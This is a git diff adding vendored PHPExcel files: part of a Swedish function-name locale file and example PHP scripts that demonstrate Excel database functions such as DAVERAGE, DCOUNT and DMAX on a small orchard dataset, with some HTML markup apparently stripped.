+SUMIF = SUMMA.OM ## Summerar celler enligt ett angivet villkor +SUMIFS = SUMMA.OMF ## Lägger till cellerna i ett område som uppfyller flera kriterier +SUMPRODUCT = PRODUKTSUMMA ## Returnerar summan av produkterna i motsvarande matriskomponenter +SUMSQ = KVADRATSUMMA ## Returnerar summan av argumentens kvadrater +SUMX2MY2 = SUMMAX2MY2 ## Returnerar summan av differensen mellan kvadraterna för motsvarande värden i två matriser +SUMX2PY2 = SUMMAX2PY2 ## Returnerar summan av summan av kvadraterna av motsvarande värden i två matriser +SUMXMY2 = SUMMAXMY2 ## Returnerar summan av kvadraten av skillnaden mellan motsvarande värden i två matriser +TAN = TAN ## Returnerar tangens för ett tal +TANH = TANH ## Returnerar hyperbolisk tangens för ett tal +TRUNC = AVKORTA ## Avkortar ett tal till ett heltal + + +## +## Statistical functions Statistiska funktioner +## +AVEDEV = MEDELAVV ## Returnerar medelvärdet för datapunkters absoluta avvikelse från deras medelvärde +AVERAGE = MEDEL ## Returnerar medelvärdet av argumenten +AVERAGEA = AVERAGEA ## Returnerar medelvärdet av argumenten, inklusive tal, text och logiska värden +AVERAGEIF = MEDELOM ## Returnerar medelvärdet (aritmetiskt medelvärde) för alla celler i ett område som uppfyller ett givet kriterium +AVERAGEIFS = MEDELOMF ## Returnerar medelvärdet (det aritmetiska medelvärdet) för alla celler som uppfyller flera villkor. +BETADIST = BETAFÖRD ## Returnerar den kumulativa betafördelningsfunktionen +BETAINV = BETAINV ## Returnerar inversen till den kumulativa fördelningsfunktionen för en viss betafördelning +BINOMDIST = BINOMFÖRD ## Returnerar den individuella binomialfördelningen +CHIDIST = CHI2FÖRD ## Returnerar den ensidiga sannolikheten av c2-fördelningen +CHIINV = CHI2INV ## Returnerar inversen av chi2-fördelningen +CHITEST = CHI2TEST ## Returnerar oberoendetesten +CONFIDENCE = KONFIDENS ## Returnerar konfidensintervallet för en populations medelvärde +CORREL = KORREL ## Returnerar korrelationskoefficienten mellan två datamängder +COUNT = ANTAL ## Räknar hur många tal som finns bland argumenten +COUNTA = ANTALV ## Räknar hur många värden som finns bland argumenten +COUNTBLANK = ANTAL.TOMMA ## Räknar antalet tomma celler i ett område +COUNTIF = ANTAL.OM ## Räknar antalet celler i ett område som uppfyller angivna villkor. +COUNTIFS = ANTAL.OMF ## Räknar antalet celler i ett område som uppfyller flera villkor. +COVAR = KOVAR ## Returnerar kovariansen, d.v.s. medelvärdet av produkterna för parade avvikelser +CRITBINOM = KRITBINOM ## Returnerar det minsta värdet för vilket den kumulativa binomialfördelningen är mindre än eller lika med ett villkorsvärde +DEVSQ = KVADAVV ## Returnerar summan av kvadrater på avvikelser +EXPONDIST = EXPONFÖRD ## Returnerar exponentialfördelningen +FDIST = FFÖRD ## Returnerar F-sannolikhetsfördelningen +FINV = FINV ## Returnerar inversen till F-sannolikhetsfördelningen +FISHER = FISHER ## Returnerar Fisher-transformationen +FISHERINV = FISHERINV ## Returnerar inversen till Fisher-transformationen +FORECAST = PREDIKTION ## Returnerar ett värde längs en linjär trendlinje +FREQUENCY = FREKVENS ## Returnerar en frekvensfördelning som en lodrät matris +FTEST = FTEST ## Returnerar resultatet av en F-test +GAMMADIST = GAMMAFÖRD ## Returnerar gammafördelningen +GAMMAINV = GAMMAINV ## Returnerar inversen till den kumulativa gammafördelningen +GAMMALN = GAMMALN ## Returnerar den naturliga logaritmen för gammafunktionen, G(x) +GEOMEAN = GEOMEDEL ## Returnerar det geometriska medelvärdet +GROWTH = EXPTREND ## Returnerar värden längs en exponentiell trend +HARMEAN = HARMMEDEL ## Returnerar det harmoniska medelvärdet +HYPGEOMDIST = HYPGEOMFÖRD ## Returnerar den hypergeometriska fördelningen +INTERCEPT = SKÄRNINGSPUNKT ## Returnerar skärningspunkten för en linjär regressionslinje +KURT = TOPPIGHET ## Returnerar toppigheten av en mängd data +LARGE = STÖRSTA ## Returnerar det n:te största värdet i en mängd data +LINEST = REGR ## Returnerar parametrar till en linjär trendlinje +LOGEST = EXPREGR ## Returnerar parametrarna i en exponentiell trend +LOGINV = LOGINV ## Returnerar inversen till den lognormala fördelningen +LOGNORMDIST = LOGNORMFÖRD ## Returnerar den kumulativa lognormala fördelningen +MAX = MAX ## Returnerar det största värdet i en lista av argument +MAXA = MAXA ## Returnerar det största värdet i en lista av argument, inklusive tal, text och logiska värden +MEDIAN = MEDIAN ## Returnerar medianen för angivna tal +MIN = MIN ## Returnerar det minsta värdet i en lista med argument +MINA = MINA ## Returnerar det minsta värdet i en lista över argument, inklusive tal, text och logiska värden +MODE = TYPVÄRDE ## Returnerar det vanligaste värdet i en datamängd +NEGBINOMDIST = NEGBINOMFÖRD ## Returnerar den negativa binomialfördelningen +NORMDIST = NORMFÖRD ## Returnerar den kumulativa normalfördelningen +NORMINV = NORMINV ## Returnerar inversen till den kumulativa normalfördelningen +NORMSDIST = NORMSFÖRD ## Returnerar den kumulativa standardnormalfördelningen +NORMSINV = NORMSINV ## Returnerar inversen till den kumulativa standardnormalfördelningen +PEARSON = PEARSON ## Returnerar korrelationskoefficienten till Pearsons momentprodukt +PERCENTILE = PERCENTIL ## Returnerar den n:te percentilen av värden i ett område +PERCENTRANK = PROCENTRANG ## Returnerar procentrangen för ett värde i en datamängd +PERMUT = PERMUT ## Returnerar antal permutationer för ett givet antal objekt +POISSON = POISSON ## Returnerar Poisson-fördelningen +PROB = SANNOLIKHET ## Returnerar sannolikheten att värden i ett område ligger mellan två gränser +QUARTILE = KVARTIL ## Returnerar kvartilen av en mängd data +RANK = RANG ## Returnerar rangordningen för ett tal i en lista med tal +RSQ = RKV ## Returnerar kvadraten av Pearsons produktmomentkorrelationskoefficient +SKEW = SNEDHET ## Returnerar snedheten för en fördelning +SLOPE = LUTNING ## Returnerar lutningen på en linjär regressionslinje +SMALL = MINSTA ## Returnerar det n:te minsta värdet i en mängd data +STANDARDIZE = STANDARDISERA ## Returnerar ett normaliserat värde +STDEV = STDAV ## Uppskattar standardavvikelsen baserat på ett urval +STDEVA = STDEVA ## Uppskattar standardavvikelsen baserat på ett urval, inklusive tal, text och logiska värden +STDEVP = STDAVP ## Beräknar standardavvikelsen baserat på hela populationen +STDEVPA = STDEVPA ## Beräknar standardavvikelsen baserat på hela populationen, inklusive tal, text och logiska värden +STEYX = STDFELYX ## Returnerar standardfelet för ett förutspått y-värde för varje x-värde i regressionen +TDIST = TFÖRD ## Returnerar Students t-fördelning +TINV = TINV ## Returnerar inversen till Students t-fördelning +TREND = TREND ## Returnerar värden längs en linjär trend +TRIMMEAN = TRIMMEDEL ## Returnerar medelvärdet av mittpunkterna i en datamängd +TTEST = TTEST ## Returnerar sannolikheten beräknad ur Students t-test +VAR = VARIANS ## Uppskattar variansen baserat på ett urval +VARA = VARA ## Uppskattar variansen baserat på ett urval, inklusive tal, text och logiska värden +VARP = VARIANSP ## Beräknar variansen baserat på hela populationen +VARPA = VARPA ## Beräknar variansen baserat på hela populationen, inklusive tal, text och logiska värden +WEIBULL = WEIBULL ## Returnerar Weibull-fördelningen +ZTEST = ZTEST ## Returnerar det ensidiga sannolikhetsvärdet av ett z-test + + +## +## Text functions Textfunktioner +## +ASC = ASC ## Ändrar helbredds (dubbel byte) engelska bokstäver eller katakana inom en teckensträng till tecken med halvt breddsteg (enkel byte) +BAHTTEXT = BAHTTEXT ## Omvandlar ett tal till text med valutaformatet ß (baht) +CHAR = TECKENKOD ## Returnerar tecknet som anges av kod +CLEAN = STÄDA ## Tar bort alla icke utskrivbara tecken i en text +CODE = KOD ## Returnerar en numerisk kod för det första tecknet i en textsträng +CONCATENATE = SAMMANFOGA ## Sammanfogar flera textdelar till en textsträng +DOLLAR = VALUTA ## Omvandlar ett tal till text med valutaformat +EXACT = EXAKT ## Kontrollerar om två textvärden är identiska +FIND = HITTA ## Hittar en text i en annan (skiljer på gemener och versaler) +FINDB = HITTAB ## Hittar en text i en annan (skiljer på gemener och versaler) +FIXED = FASTTAL ## Formaterar ett tal som text med ett fast antal decimaler +JIS = JIS ## Ändrar halvbredds (enkel byte) engelska bokstäver eller katakana inom en teckensträng till tecken med helt breddsteg (dubbel byte) +LEFT = VÄNSTER ## Returnerar tecken längst till vänster i en sträng +LEFTB = VÄNSTERB ## Returnerar tecken längst till vänster i en sträng +LEN = LÄNGD ## Returnerar antalet tecken i en textsträng +LENB = LÄNGDB ## Returnerar antalet tecken i en textsträng +LOWER = GEMENER ## Omvandlar text till gemener +MID = EXTEXT ## Returnerar angivet antal tecken från en text med början vid den position som du anger +MIDB = EXTEXTB ## Returnerar angivet antal tecken från en text med början vid den position som du anger +PHONETIC = PHONETIC ## Returnerar de fonetiska (furigana) tecknen i en textsträng +PROPER = INITIAL ## Ändrar första bokstaven i varje ord i ett textvärde till versal +REPLACE = ERSÄTT ## Ersätter tecken i text +REPLACEB = ERSÄTTB ## Ersätter tecken i text +REPT = REP ## Upprepar en text ett bestämt antal gånger +RIGHT = HÖGER ## Returnerar tecken längst till höger i en sträng +RIGHTB = HÖGERB ## Returnerar tecken längst till höger i en sträng +SEARCH = SÖK ## Hittar ett textvärde i ett annat (skiljer inte på gemener och versaler) +SEARCHB = SÖKB ## Hittar ett textvärde i ett annat (skiljer inte på gemener och versaler) +SUBSTITUTE = BYT.UT ## Ersätter gammal text med ny text i en textsträng +T = T ## Omvandlar argumenten till text +TEXT = TEXT ## Formaterar ett tal och omvandlar det till text +TRIM = RENSA ## Tar bort blanksteg från text +UPPER = VERSALER ## Omvandlar text till versaler +VALUE = TEXTNUM ## Omvandlar ett textargument till ett tal diff --git a/vendor/phpoffice/phpexcel/Documentation/Examples/Calculations/Database/DAVERAGE.php b/vendor/phpoffice/phpexcel/Documentation/Examples/Calculations/Database/DAVERAGE.php new file mode 100644 index 00000000..adf4636c --- /dev/null +++ b/vendor/phpoffice/phpexcel/Documentation/Examples/Calculations/Database/DAVERAGE.php @@ -0,0 +1,90 @@ + + + + + +PHPExcel Calculation Examples + + + + +

        DAVERAGE

        +

        Returns the average of selected database entries.

        +getActiveSheet(); + +// Add some data +$database = array( array( 'Tree', 'Height', 'Age', 'Yield', 'Profit' ), + array( 'Apple', 18, 20, 14, 105.00 ), + array( 'Pear', 12, 12, 10, 96.00 ), + array( 'Cherry', 13, 14, 9, 105.00 ), + array( 'Apple', 14, 15, 10, 75.00 ), + array( 'Pear', 9, 8, 8, 76.80 ), + array( 'Apple', 8, 9, 6, 45.00 ), + ); +$criteria = array( array( 'Tree', 'Height', 'Age', 'Yield', 'Profit', 'Height' ), + array( '="=Apple"', '>10', NULL, NULL, NULL, '<16' ), + array( '="=Pear"', NULL, NULL, NULL, NULL, NULL ) + ); + +$worksheet->fromArray( $criteria, NULL, 'A1' ); +$worksheet->fromArray( $database, NULL, 'A4' ); + +$worksheet->setCellValue('A12', 'The Average yield of Apple trees over 10\' in height'); +$worksheet->setCellValue('B12', '=DAVERAGE(A4:E10,"Yield",A1:B2)'); + +$worksheet->setCellValue('A13', 'The Average age of all Apple and Pear trees in the orchard'); +$worksheet->setCellValue('B13', '=DAVERAGE(A4:E10,3,A1:A3)'); + + +echo '
        '; + + +echo '

        Database

        '; + +$databaseData = $worksheet->rangeToArray('A4:E10',null,true,true,true); +var_dump($databaseData); + + +echo '
        '; + + +// Test the formulae +echo '

        Criteria

        '; + +$criteriaData = $worksheet->rangeToArray('A1:B2',null,true,true,true); +var_dump($criteriaData); + +echo $worksheet->getCell("A12")->getValue() .'
        '; +echo 'DAVERAGE() Result is ' . $worksheet->getCell("B12")->getCalculatedValue() .'

        '; + +echo '

        Criteria

        '; + +$criteriaData = $worksheet->rangeToArray('A1:A3',null,true,true,true); +var_dump($criteriaData); + +echo $worksheet->getCell("A13")->getValue() .'
        '; +echo 'DAVERAGE() Result is ' . $worksheet->getCell("B13")->getCalculatedValue(); + + +?> + + \ No newline at end of file diff --git a/vendor/phpoffice/phpexcel/Documentation/Examples/Calculations/Database/DCOUNT.php b/vendor/phpoffice/phpexcel/Documentation/Examples/Calculations/Database/DCOUNT.php new file mode 100644 index 00000000..ece2b1f3 --- /dev/null +++ b/vendor/phpoffice/phpexcel/Documentation/Examples/Calculations/Database/DCOUNT.php @@ -0,0 +1,90 @@ + + + + + +PHPExcel Calculation Examples + + + + +

        DCOUNT

        +

        Counts the cells that contain numbers in a database.

        +getActiveSheet(); + +// Add some data +$database = array( array( 'Tree', 'Height', 'Age', 'Yield', 'Profit' ), + array( 'Apple', 18, 20, 14, 105.00 ), + array( 'Pear', 12, 12, 10, 96.00 ), + array( 'Cherry', 13, 14, 9, 105.00 ), + array( 'Apple', 14, 15, 10, 75.00 ), + array( 'Pear', 9, 8, 8, 76.80 ), + array( 'Apple', 8, 9, 6, 45.00 ), + ); +$criteria = array( array( 'Tree', 'Height', 'Age', 'Yield', 'Profit', 'Height' ), + array( '="=Apple"', '>10', NULL, NULL, NULL, '<16' ), + array( '="=Pear"', NULL, NULL, NULL, NULL, NULL ) + ); + +$worksheet->fromArray( $criteria, NULL, 'A1' ); +$worksheet->fromArray( $database, NULL, 'A4' ); + +$worksheet->setCellValue('A12', 'The Number of Apple trees over 10\' in height'); +$worksheet->setCellValue('B12', '=DCOUNT(A4:E10,"Yield",A1:B2)'); + +$worksheet->setCellValue('A13', 'The Number of Apple and Pear trees in the orchard'); +$worksheet->setCellValue('B13', '=DCOUNT(A4:E10,3,A1:A3)'); + + +echo '
        '; + + +echo '

        Database

        '; + +$databaseData = $worksheet->rangeToArray('A4:E10',null,true,true,true); +var_dump($databaseData); + + +echo '
        '; + + +// Test the formulae +echo '

        Criteria

        '; + +$criteriaData = $worksheet->rangeToArray('A1:B2',null,true,true,true); +var_dump($criteriaData); + +echo $worksheet->getCell("A12")->getValue() .'
        '; +echo 'DCOUNT() Result is ' . $worksheet->getCell("B12")->getCalculatedValue() .'

        '; + +echo '

        Criteria

        '; + +$criteriaData = $worksheet->rangeToArray('A1:A3',null,true,true,true); +var_dump($criteriaData); + +echo $worksheet->getCell("A13")->getValue() .'
        '; +echo 'DCOUNT() Result is ' . $worksheet->getCell("B13")->getCalculatedValue(); + + +?> + + \ No newline at end of file diff --git a/vendor/phpoffice/phpexcel/Documentation/Examples/Calculations/Database/DGET.php b/vendor/phpoffice/phpexcel/Documentation/Examples/Calculations/Database/DGET.php new file mode 100644 index 00000000..51d7dd61 --- /dev/null +++ b/vendor/phpoffice/phpexcel/Documentation/Examples/Calculations/Database/DGET.php @@ -0,0 +1,86 @@ + + + + + +PHPExcel Calculation Examples + + + + +

        DGET

        +

        Extracts a single value from a column of a list or database that matches conditions that you specify.

        +getActiveSheet(); + +// Add some data +$database = array( array( 'Tree', 'Height', 'Age', 'Yield', 'Profit' ), + array( 'Apple', 18, 20, 14, 105.00 ), + array( 'Pear', 12, 12, 10, 96.00 ), + array( 'Cherry', 13, 14, 9, 105.00 ), + array( 'Apple', 14, 15, 10, 75.00 ), + array( 'Pear', 9, 8, 8, 76.80 ), + array( 'Apple', 8, 9, 6, 45.00 ), + ); +$criteria = array( array( 'Tree', 'Height', 'Age', 'Yield', 'Profit', 'Height' ), + array( '="=Apple"', '>10', NULL, NULL, NULL, '<16' ), + array( '="=Pear"', NULL, NULL, NULL, NULL, NULL ) + ); + +$worksheet->fromArray( $criteria, NULL, 'A1' ); +$worksheet->fromArray( $database, NULL, 'A4' ); + +$worksheet->setCellValue('A12', 'The height of the Apple tree between 10\' and 16\' tall'); +$worksheet->setCellValue('B12', '=DGET(A4:E10,"Height",A1:F2)'); + + +echo '
        '; + + +echo '

        Database

        '; + +$databaseData = $worksheet->rangeToArray('A4:E10',null,true,true,true); +var_dump($databaseData); + + +echo '
        '; + + +// Test the formulae +echo '

        Criteria

        '; + +echo 'ALL' . '

        '; + +echo $worksheet->getCell("A12")->getValue() .'
        '; +echo 'DMAX() Result is ' . $worksheet->getCell("B12")->getCalculatedValue() .'

        '; + +echo '

        Criteria

        '; + +$criteriaData = $worksheet->rangeToArray('A1:A2',null,true,true,true); +var_dump($criteriaData); + +echo $worksheet->getCell("A13")->getValue() .'
        '; +echo 'DMAX() Result is ' . $worksheet->getCell("B13")->getCalculatedValue(); + + +?> + + \ No newline at end of file diff --git a/vendor/phpoffice/phpexcel/Documentation/Examples/Calculations/Database/DMAX.php b/vendor/phpoffice/phpexcel/Documentation/Examples/Calculations/Database/DMAX.php new file mode 100644 index 00000000..1a2d22a4 --- /dev/null +++ b/vendor/phpoffice/phpexcel/Documentation/Examples/Calculations/Database/DMAX.php @@ -0,0 +1,89 @@ + + + + + +PHPExcel Calculation Examples + + + + +

        DMAX

        +

        Returns the maximum value from selected database entries.

        +getActiveSheet(); + +// Add some data +$database = array( array( 'Tree', 'Height', 'Age', 'Yield', 'Profit' ), + array( 'Apple', 18, 20, 14, 105.00 ), + array( 'Pear', 12, 12, 10, 96.00 ), + array( 'Cherry', 13, 14, 9, 105.00 ), + array( 'Apple', 14, 15, 10, 75.00 ), + array( 'Pear', 9, 8, 8, 76.80 ), + array( 'Apple', 8, 9, 6, 45.00 ), + ); +$criteria = array( array( 'Tree', 'Height', 'Age', 'Yield', 'Profit', 'Height' ), + array( '="=Apple"', '>10', NULL, NULL, NULL, '<16' ), + array( '="=Pear"', NULL, NULL, NULL, NULL, NULL ) + ); + +$worksheet->fromArray( $criteria, NULL, 'A1' ); +$worksheet->fromArray( $database, NULL, 'A4' ); + +$worksheet->setCellValue('A12', 'The tallest tree in the orchard'); +$worksheet->setCellValue('B12', '=DMAX(A4:E10,"Height",A4:E10)'); + +$worksheet->setCellValue('A13', 'The Oldest apple tree in the orchard'); +$worksheet->setCellValue('B13', '=DMAX(A4:E10,3,A1:A2)'); + + +echo '
        '; + + +echo '

        Database

        '; + +$databaseData = $worksheet->rangeToArray('A4:E10',null,true,true,true); +var_dump($databaseData); + + +echo '
        '; + + +// Test the formulae +echo '

        Criteria

        '; + +echo 'ALL' . '

        '; + +echo $worksheet->getCell("A12")->getValue() .'
        '; +echo 'DMAX() Result is ' . $worksheet->getCell("B12")->getCalculatedValue() .'

        '; + +echo '

        Criteria

        '; + +$criteriaData = $worksheet->rangeToArray('A1:A2',null,true,true,true); +var_dump($criteriaData); + +echo $worksheet->getCell("A13")->getValue() .'
        '; +echo 'DMAX() Result is ' . $worksheet->getCell("B13")->getCalculatedValue(); + + +?> + + \ No newline at end of file diff --git a/vendor/phpoffice/phpexcel/Documentation/Examples/Calculations/Database/DMIN.php b/vendor/phpoffice/phpexcel/Documentation/Examples/Calculations/Database/DMIN.php new file mode 100644 index 00000000..d6f23a6a --- /dev/null +++ b/vendor/phpoffice/phpexcel/Documentation/Examples/Calculations/Database/DMIN.php @@ -0,0 +1,89 @@ + + + + + +PHPExcel Calculation Examples + + + + +

        DMIN

        +

        Returns the minimum value from selected database entries.

        +getActiveSheet(); + +// Add some data +$database = array( array( 'Tree', 'Height', 'Age', 'Yield', 'Profit' ), + array( 'Apple', 18, 20, 14, 105.00 ), + array( 'Pear', 12, 12, 10, 96.00 ), + array( 'Cherry', 13, 14, 9, 105.00 ), + array( 'Apple', 14, 15, 10, 75.00 ), + array( 'Pear', 9, 8, 8, 76.80 ), + array( 'Apple', 8, 9, 6, 45.00 ), + ); +$criteria = array( array( 'Tree', 'Height', 'Age', 'Yield', 'Profit', 'Height' ), + array( '="=Apple"', '>10', NULL, NULL, NULL, '<16' ), + array( '="=Pear"', NULL, NULL, NULL, NULL, NULL ) + ); + +$worksheet->fromArray( $criteria, NULL, 'A1' ); +$worksheet->fromArray( $database, NULL, 'A4' ); + +$worksheet->setCellValue('A12', 'The shortest tree in the orchard'); +$worksheet->setCellValue('B12', '=DMIN(A4:E10,"Height",A4:E10)'); + +$worksheet->setCellValue('A13', 'The Youngest apple tree in the orchard'); +$worksheet->setCellValue('B13', '=DMIN(A4:E10,3,A1:A2)'); + + +echo '
        '; + + +echo '

        Database

        '; + +$databaseData = $worksheet->rangeToArray('A4:E10',null,true,true,true); +var_dump($databaseData); + + +echo '
        '; + + +// Test the formulae +echo '

        Criteria

        '; + +echo 'ALL' . '

        '; + +echo $worksheet->getCell("A12")->getValue() .'
        '; +echo 'DMIN() Result is ' . $worksheet->getCell("B12")->getCalculatedValue() .'

        '; + +echo '

        Criteria

        '; + +$criteriaData = $worksheet->rangeToArray('A1:A2',null,true,true,true); +var_dump($criteriaData); + +echo $worksheet->getCell("A13")->getValue() .'
        '; +echo 'DMIN() Result is ' . $worksheet->getCell("B13")->getCalculatedValue(); + + +?> + + \ No newline at end of file diff --git a/vendor/phpoffice/phpexcel/Documentation/Examples/Calculations/Database/DPRODUCT.php b/vendor/phpoffice/phpexcel/Documentation/Examples/Calculations/Database/DPRODUCT.php new file mode 100644 index 00000000..e5e629ed --- /dev/null +++ b/vendor/phpoffice/phpexcel/Documentation/Examples/Calculations/Database/DPRODUCT.php @@ -0,0 +1,87 @@ + + + + + +PHPExcel Calculation Examples + + + + +

        DPRODUCT

        +

        Multiplies the values in a column of a list or database that match conditions that you specify.

        +getActiveSheet(); + +// Add some data +$database = array( array( 'Tree', 'Height', 'Age', 'Yield', 'Profit' ), + array( 'Apple', 18, 20, 14, 105.00 ), + array( 'Pear', 12, 12, 10, 96.00 ), + array( 'Cherry', 13, 14, 9, 105.00 ), + array( 'Apple', 14, 15, 10, 75.00 ), + array( 'Pear', 9, 8, 8, 76.80 ), + array( 'Apple', 8, 9, 6, 45.00 ), + ); +$criteria = array( array( 'Tree', 'Height', 'Age', 'Yield', 'Profit', 'Height' ), + array( '="=Apple"', '>10', NULL, NULL, NULL, '<16' ), + array( '="=Pear"', NULL, NULL, NULL, NULL, NULL ) + ); + +$worksheet->fromArray( $criteria, NULL, 'A1' ); +$worksheet->fromArray( $database, NULL, 'A4' ); + +$worksheet->setCellValue('A12', 'The product of the yields of all Apple trees over 10\' in the orchard'); +$worksheet->setCellValue('B12', '=DPRODUCT(A4:E10,"Yield",A1:B2)'); + + + +echo '
        '; + + +echo '

        Database

        '; + +$databaseData = $worksheet->rangeToArray('A4:E10',null,true,true,true); +var_dump($databaseData); + + +echo '
        '; + + +// Test the formulae +echo '

        Criteria

        '; + +echo 'ALL' . '

        '; + +echo $worksheet->getCell("A12")->getValue() .'
        '; +echo 'DMAX() Result is ' . $worksheet->getCell("B12")->getCalculatedValue() .'

        '; + +echo '

        Criteria

        '; + +$criteriaData = $worksheet->rangeToArray('A1:A2',null,true,true,true); +var_dump($criteriaData); + +echo $worksheet->getCell("A13")->getValue() .'
        '; +echo 'DMAX() Result is ' . $worksheet->getCell("B13")->getCalculatedValue(); + + +?> + + \ No newline at end of file diff --git a/vendor/phpoffice/phpexcel/Documentation/Examples/Calculations/Database/DSTDEV.php b/vendor/phpoffice/phpexcel/Documentation/Examples/Calculations/Database/DSTDEV.php new file mode 100644 index 00000000..c26df0e9 --- /dev/null +++ b/vendor/phpoffice/phpexcel/Documentation/Examples/Calculations/Database/DSTDEV.php @@ -0,0 +1,90 @@ + + + + + +PHPExcel Calculation Examples + + + + +

        DSTDEV

        +

        Estimates the standard deviation based on a sample of selected database entries.

        +getActiveSheet(); + +// Add some data +$database = array( array( 'Tree', 'Height', 'Age', 'Yield', 'Profit' ), + array( 'Apple', 18, 20, 14, 105.00 ), + array( 'Pear', 12, 12, 10, 96.00 ), + array( 'Cherry', 13, 14, 9, 105.00 ), + array( 'Apple', 14, 15, 10, 75.00 ), + array( 'Pear', 9, 8, 8, 76.80 ), + array( 'Apple', 8, 9, 6, 45.00 ), + ); +$criteria = array( array( 'Tree', 'Height', 'Age', 'Yield', 'Profit', 'Height' ), + array( '="=Apple"', '>10', NULL, NULL, NULL, '<16' ), + array( '="=Pear"', NULL, NULL, NULL, NULL, NULL ) + ); + +$worksheet->fromArray( $criteria, NULL, 'A1' ); +$worksheet->fromArray( $database, NULL, 'A4' ); + +$worksheet->setCellValue('A12', 'The estimated standard deviation in the yield of Apple and Pear trees'); +$worksheet->setCellValue('B12', '=DSTDEV(A4:E10,"Yield",A1:A3)'); + +$worksheet->setCellValue('A13', 'The estimated standard deviation in height of Apple and Pear trees'); +$worksheet->setCellValue('B13', '=DSTDEV(A4:E10,2,A1:A3)'); + + +echo '
        '; + + +echo '

        Database

        '; + +$databaseData = $worksheet->rangeToArray('A4:E10',null,true,true,true); +var_dump($databaseData); + + +echo '
        '; + + +// Test the formulae +echo '

        Criteria

        '; + +$criteriaData = $worksheet->rangeToArray('A1:A3',null,true,true,true); +var_dump($criteriaData); + +echo $worksheet->getCell("A12")->getValue() .'
        '; +echo 'DSTDEV() Result is ' . $worksheet->getCell("B12")->getCalculatedValue() .'

        '; + +echo '

        Criteria

        '; + +$criteriaData = $worksheet->rangeToArray('A1:A3',null,true,true,true); +var_dump($criteriaData); + +echo $worksheet->getCell("A13")->getValue() .'
        '; +echo 'DSTDEV() Result is ' . $worksheet->getCell("B13")->getCalculatedValue(); + + +?> + + \ No newline at end of file diff --git a/vendor/phpoffice/phpexcel/Documentation/Examples/Calculations/Database/DSTDEVP.php b/vendor/phpoffice/phpexcel/Documentation/Examples/Calculations/Database/DSTDEVP.php new file mode 100644 index 00000000..9b353454 --- /dev/null +++ b/vendor/phpoffice/phpexcel/Documentation/Examples/Calculations/Database/DSTDEVP.php @@ -0,0 +1,90 @@ + + + + + +PHPExcel Calculation Examples + + + + +

        DSTDEVP

        +

        Calculates the standard deviation based on the entire population of selected database entries.

        +getActiveSheet(); + +// Add some data +$database = array( array( 'Tree', 'Height', 'Age', 'Yield', 'Profit' ), + array( 'Apple', 18, 20, 14, 105.00 ), + array( 'Pear', 12, 12, 10, 96.00 ), + array( 'Cherry', 13, 14, 9, 105.00 ), + array( 'Apple', 14, 15, 10, 75.00 ), + array( 'Pear', 9, 8, 8, 76.80 ), + array( 'Apple', 8, 9, 6, 45.00 ), + ); +$criteria = array( array( 'Tree', 'Height', 'Age', 'Yield', 'Profit', 'Height' ), + array( '="=Apple"', '>10', NULL, NULL, NULL, '<16' ), + array( '="=Pear"', NULL, NULL, NULL, NULL, NULL ) + ); + +$worksheet->fromArray( $criteria, NULL, 'A1' ); +$worksheet->fromArray( $database, NULL, 'A4' ); + +$worksheet->setCellValue('A12', 'The standard deviation in the yield of Apple and Pear trees'); +$worksheet->setCellValue('B12', '=DSTDEVP(A4:E10,"Yield",A1:A3)'); + +$worksheet->setCellValue('A13', 'The standard deviation in height of Apple and Pear trees'); +$worksheet->setCellValue('B13', '=DSTDEVP(A4:E10,2,A1:A3)'); + + +echo '
        '; + + +echo '

        Database

        '; + +$databaseData = $worksheet->rangeToArray('A4:E10',null,true,true,true); +var_dump($databaseData); + + +echo '
        '; + + +// Test the formulae +echo '

        Criteria

        '; + +$criteriaData = $worksheet->rangeToArray('A1:A3',null,true,true,true); +var_dump($criteriaData); + +echo $worksheet->getCell("A12")->getValue() .'
        '; +echo 'DSTDEVP() Result is ' . $worksheet->getCell("B12")->getCalculatedValue() .'

        '; + +echo '

        Criteria

        '; + +$criteriaData = $worksheet->rangeToArray('A1:A3',null,true,true,true); +var_dump($criteriaData); + +echo $worksheet->getCell("A13")->getValue() .'
        '; +echo 'DSTDEVP() Result is ' . $worksheet->getCell("B13")->getCalculatedValue(); + + +?> + + \ No newline at end of file diff --git a/vendor/phpoffice/phpexcel/Documentation/Examples/Calculations/Database/DVAR.php b/vendor/phpoffice/phpexcel/Documentation/Examples/Calculations/Database/DVAR.php new file mode 100644 index 00000000..e425f776 --- /dev/null +++ b/vendor/phpoffice/phpexcel/Documentation/Examples/Calculations/Database/DVAR.php @@ -0,0 +1,90 @@ + + + + + +PHPExcel Calculation Examples + + + + +

        DVAR

        +

        Estimates variance based on a sample from selected database entries.

        +getActiveSheet(); + +// Add some data +$database = array( array( 'Tree', 'Height', 'Age', 'Yield', 'Profit' ), + array( 'Apple', 18, 20, 14, 105.00 ), + array( 'Pear', 12, 12, 10, 96.00 ), + array( 'Cherry', 13, 14, 9, 105.00 ), + array( 'Apple', 14, 15, 10, 75.00 ), + array( 'Pear', 9, 8, 8, 76.80 ), + array( 'Apple', 8, 9, 6, 45.00 ), + ); +$criteria = array( array( 'Tree', 'Height', 'Age', 'Yield', 'Profit', 'Height' ), + array( '="=Apple"', '>10', NULL, NULL, NULL, '<16' ), + array( '="=Pear"', NULL, NULL, NULL, NULL, NULL ) + ); + +$worksheet->fromArray( $criteria, NULL, 'A1' ); +$worksheet->fromArray( $database, NULL, 'A4' ); + +$worksheet->setCellValue('A12', 'The estimated variance in the yield of Apple and Pear trees'); +$worksheet->setCellValue('B12', '=DVAR(A4:E10,"Yield",A1:A3)'); + +$worksheet->setCellValue('A13', 'The estimated variance in height of Apple and Pear trees'); +$worksheet->setCellValue('B13', '=DVAR(A4:E10,2,A1:A3)'); + + +echo '
        '; + + +echo '

        Database

        '; + +$databaseData = $worksheet->rangeToArray('A4:E10',null,true,true,true); +var_dump($databaseData); + + +echo '
        '; + + +// Test the formulae +echo '

        Criteria

        '; + +$criteriaData = $worksheet->rangeToArray('A1:A3',null,true,true,true); +var_dump($criteriaData); + +echo $worksheet->getCell("A12")->getValue() .'
        '; +echo 'DVAR() Result is ' . $worksheet->getCell("B12")->getCalculatedValue() .'

        '; + +echo '

        Criteria

        '; + +$criteriaData = $worksheet->rangeToArray('A1:A3',null,true,true,true); +var_dump($criteriaData); + +echo $worksheet->getCell("A13")->getValue() .'
